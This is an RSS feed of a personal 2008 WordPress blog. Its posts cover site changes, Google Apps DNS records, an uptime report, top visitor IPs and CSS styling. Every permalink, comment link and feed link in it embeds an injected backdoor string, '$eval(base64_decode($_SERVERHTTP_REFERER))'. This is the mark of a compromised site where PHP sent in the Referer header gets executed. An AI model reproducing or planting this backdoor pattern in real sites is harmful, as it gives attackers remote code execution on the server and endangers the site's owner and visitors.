Jesse » Site Stuff http://www.jessecole.org A pointless blog lacking in substance. Thu, 15 Jan 2009 17:43:31 +0000 en hourly 1 http://wordpress.org/?v=3.0 My Gear http://www.jessecole.org/2008/07/30/my-gear/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/07/30/my-gear/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 31 Jul 2008 05:41:10 +0000 Jesse Cole http://www.jessecole.org/?p=88 There is a new page in the about section titled “My Gear” with a list of my computer setup at home complete with pictures. So check it out, and, let me know in the comments what you’ve got. Send me a link. If i get several good ones i may post them.

]]> http://www.jessecole.org/2008/07/30/my-gear/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 Dropdown Menu’s http://www.jessecole.org/2008/06/13/dropdown-menus/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/06/13/dropdown-menus/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 13 Jun 2008 20:53:16 +0000 Jesse Cole http://www.jessecole.org/?p=60 As anyone who follows me on twitter knows, I have added drop down menu’s to this site. Its nice, check it out, hover over the “About Me” link up there. Yeah, not bad. Also known by twitter users is the fact that i did not come up with the css, etc. that goes into this. All credit, copyright, whatever goes to @bradkovach (bradkovach.com). I have access to the themes he made for the lcsd2.org sites and i just copied and pasted from there without permission. So i’d like to thank him for his generous lack of anger/suing me.

Now the reason i wanted drop down menu’s in the first place is for semantic organization. Hover over about me and you get contact info, etc., stuff that belongs under about. It also allows me to have more static content while still using this theme. I rather like this theme/don’t feel like looking for another and would prefer to keep it. Now i can.

Sometime in the future i will be adding things like contact info and actual content. If you have any suggestions/hate, please use the contact page to let me know.

]]> http://www.jessecole.org/2008/06/13/dropdown-menus/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 Google apps, jabber. http://www.jessecole.org/2008/04/02/google-apps-jabber/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/04/02/google-apps-jabber/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 03 Apr 2008 01:50:37 +0000 Jesse Cole http://1584360211 As very few of you know, (maybe i should actually put something in the about me section) i started this little website as a project to learn linux better and to learn to manage a webserver. Since then, this little project has turned into something i actually care about and take a measure of pride in. This is due in no small part to the miracle that is google apps for your domain.

I like managing a webserver. I like manually managing bind and apache from the command line. I like the sense of control i feel when i am able to make any changes i want any time i want. What i don’t like though, is email. Email is evil. Go ahead, take a look at the configuration files for sendmail sometime. Try postfix, not much better. I don’t want to do email but i want to get email. So what did i do? I went with google apps for your domain.

Google apps for your domain is a godsend. I make a few small changed to my dns, which i can easily do; specifying google as my mail exchanger (mx) and i’m done. Below i’ve included the records required for email.

@           IN    MX 1     aspmx.l.google.com.
@           IN    MX 5     alt1.aspmx.l.google.com.
@           IN    MX 5     alt2.aspmx.l.google.com.
@           IN    MX 10    ASPMX2.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX3.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX4.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX5.GOOGLEMAIL.COM.

Google handles all my email for me. I can use their nice, friendly-ish web interface to add up to 100 users for email. I can add mailing lists so that an email sent to, for example, lists@jessecole.org would go to whoever i added to that list. I can tie in my other domains with it so that jesse@jessecole.info works just as well as jesse@jessecole.org and it gets delivered to the same mailbox. On top of all of this, i get google’s fantastic! email filtering. I never get a single spam message through and very rarely do i see a false positive. Google even provides pop, smtp, and imap access to my email.

Another feature that isn’t talked about so much is google talk. Thats right, every user i make can log in to google talk with user@domain.com. The can also use any jabber client to log in. Also, i recently implemented XMPP server dialback as per section 14.4 of RFC 3920 allowing virtually all jabber clients to talk to anyone logged in. Ok, fine. All that is accurate but i just followed google’s instructions here. Incidently, its perfectly legal in dns-ese to paste the following into your zone file or include it globally.

_xmpp-server._tcp   IN SRV  5 0 5269 xmpp-server.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server1.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server2.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server3.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server4.l.google.com.

_jabber._tcp        IN SRV  5 0 5269 xmpp-server.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server1.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server2.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server3.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server4.l.google.com.

Fully qualified domain names are for quitters.

With google apps for your domain you get all this and all of the google apps. Thats right. Your <employee>@jessecole.org account also gets its own google docs, google calendar, google everything!. Its no wonder some businesses are using for their site. The best part about all of this is that its free! You can pay extra and get more users, features, support, etc. Not necessary. This is a great thing for little websites like me.

I hope you enjoyed my little post (post? this is an article!) on google apps. Please, leave me a comment if you liked it/disagree/hate me/whatever.

*Update* I am officially declaring the whitespace stripping in pre text a wordpress bug. I think i’ll actually file one later today. It won’t do it if you step just right through the posting process though so it should look good now.

]]> http://www.jessecole.org/2008/04/02/google-apps-jabber/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 3 99.13% uptime http://www.jessecole.org/2008/03/31/9913-uptime/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/03/31/9913-uptime/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 01 Apr 2008 03:59:31 +0000 Jesse Cole http://www.jessecole.org/?p=53 I’ve been using host-tracker for a while now to monitor my uptime. Today they sent me my quarterly report and i’m pleased to report, to you, that my uptime is better than many for pay shared hosting providers. My little server that i put together myself, running directly on the grid with no UPS, running off a little tiny slow home dsl connection, and connected to that connection via an old wireless bridge is better than some datacenters. That is just awesome. Below i have included the report they sent me, whitespace and all.

Quarterly report 2008-01

http://www.jessecole.org

Total uptime:99.13% Downtime:6 hour(s) 13 min(s)
Quarterly uptime:99.13% Downtime:6 hour(s) 13 min(s)
Month 2008-03 Uptime:99.13% Downtime:6 hour(s) 13 min(s)

*Update*So, wordpress helpfully stripped the white space. Yay!

]]> http://www.jessecole.org/2008/03/31/9913-uptime/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 WordPress 2.5 finally released! http://www.jessecole.org/2008/03/29/wordpress-25-finally-released/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/03/29/wordpress-25-finally-released/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sat, 29 Mar 2008 16:23:18 +0000 Jesse Cole http://www.jessecole.org/?p=51 WordPress logoSo finally, 3 weeks after the scheduled date, wordpress version 2.5 has been released. WordPress is the software i use to power this site and the new version gives me some nice new featured to help with that. That doesn’t mean you will see any better content nor will it come any more often. It just means that the new version is out and i’m using it.

]]> http://www.jessecole.org/2008/03/29/wordpress-25-finally-released/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Site policy, contact info, registrations. http://www.jessecole.org/2008/03/10/site-policy-contact-info-registrations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/03/10/site-policy-contact-info-registrations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 11 Mar 2008 00:59:00 +0000 Jesse Cole http://www.jessecole.org/?p=48 I’ve made a new page detailing the site policy, etc. I also realized that you apparently cannot leave comments for a page and that no one could contact me without using a post that may or may not be relevant. I’ve created a new text box on the left sidebar(to the right) with all my contact info to get ahold of me. I also turned on user registrations so people can have a little more of a permanent presence on my blog. If this starts getting abused by bots, etc. i may have to get some capchas in there or turn it off. If you request, i may up your status from subscriber to something that can submit posts, etc. to me.

I hope you enjoy the new changes and happy blogging :) .

]]> http://www.jessecole.org/2008/03/10/site-policy-contact-info-registrations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 New Button!!!1!!!1!!111! http://www.jessecole.org/2008/02/28/new-button11111/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/02/28/new-button11111/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 29 Feb 2008 01:45:11 +0000 Jesse Cole http://www.jessecole.org/2008/02/28/new-button11111/ Ok, so i’ve added the following button somewhere on the site.

Its awesome and will definitely attract more viewers. Definitely more viewers. Oh. Yeah.

P.S. If said button does not appear on the site then i am currently curled up in a fetal position crying over my inability to add it to said site. Help me.

]]> http://www.jessecole.org/2008/02/28/new-button11111/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 You’re not pulling your weight. http://www.jessecole.org/2008/02/19/youre-not-pulling-your-weight/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/02/19/youre-not-pulling-your-weight/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 20 Feb 2008 03:54:40 +0000 Jesse Cole http://www.jessecole.org/2008/02/19/youre-not-pulling-your-weight/ I looked through my access logs that i’ve kept around since i got this site going. Below are the biggest visitors to my site according to how many “hits”(i think this is where that word applies) each unique ip has.





14179

192.168.0.105




1659

137.90.169.200




957

192.168.0.110




838

127.0.0.1




560

66.249.70.74




316

67.43.173.121




185

66.249.65.142




144

192.168.0.111




141

38.100.41.102




117

69.92.61.124

As you can see, the most popular visitor is me(192.168.0.105,192.168.0.110) and the server itself(127.0.0.1,192.168.0.111). Next we have 137.90.169.200 which is the school district where i work so those are probably mine as well. Next is 66.249.70.74 which happens to be google, crawling my site. Next is 67.43.173.121 who i don’t really know anything about except they screwed up their nameserver. Next is google again then we have some company in washington, dc that owns a /8 ip range and then kyle. So…you suck. My top 10, and you’re not in it. Thanks.

]]> http://www.jessecole.org/2008/02/19/youre-not-pulling-your-weight/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Code tag http://www.jessecole.org/2008/02/17/code-tag/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/02/17/code-tag/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 17 Feb 2008 23:48:25 +0000 Jesse Cole http://www.jessecole.org/2008/02/17/code-tag/ Have you ever seen on websites where they show you some lines of code and those lines are seperated in a little box and clearly demarcated from the rest of the page? I’ve always wanted to be able to do that, now i can. I’ve edited the style.css page here and added a style for the code tag. Once i get it how i want it i’ll retroactively put code tags around all the code i’ve ever posted. See below for what i settled on.

pre {border: inset 1px blue;
font-size: 1.3 em;
color: blue;
margin: 10px;
padding:10px;
background: #fde8b9}

*Update*
I’ve finished adding the pre tags to the rest of the code on the site. That right i said pre tags. Turns out, pre, standing for “preformatted text”, reproduces exactly what is in the text including whitespace, etc. This was more useful than the code tags which don’t quite do that. Also, i found out that if you paste something from dreamweaver mx into a post and then save it, it drops everything after what you pasted and crashes the browser. So…don’t do that.

]]> http://www.jessecole.org/2008/02/17/code-tag/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 New Theme. http://www.jessecole.org/2008/01/14/new-theme/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.jessecole.org/2008/01/14/new-theme/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 15 Jan 2008 00:25:40 +0000 Jesse Cole http://www.jessecole.org/index.php/2008/01/14/new-theme/ I forgot to mention before my last post but i have a new theme.  You like?  I feel it has a pirate type of feel to it.  Anyway, its new.  Leave suggestions in the comments.

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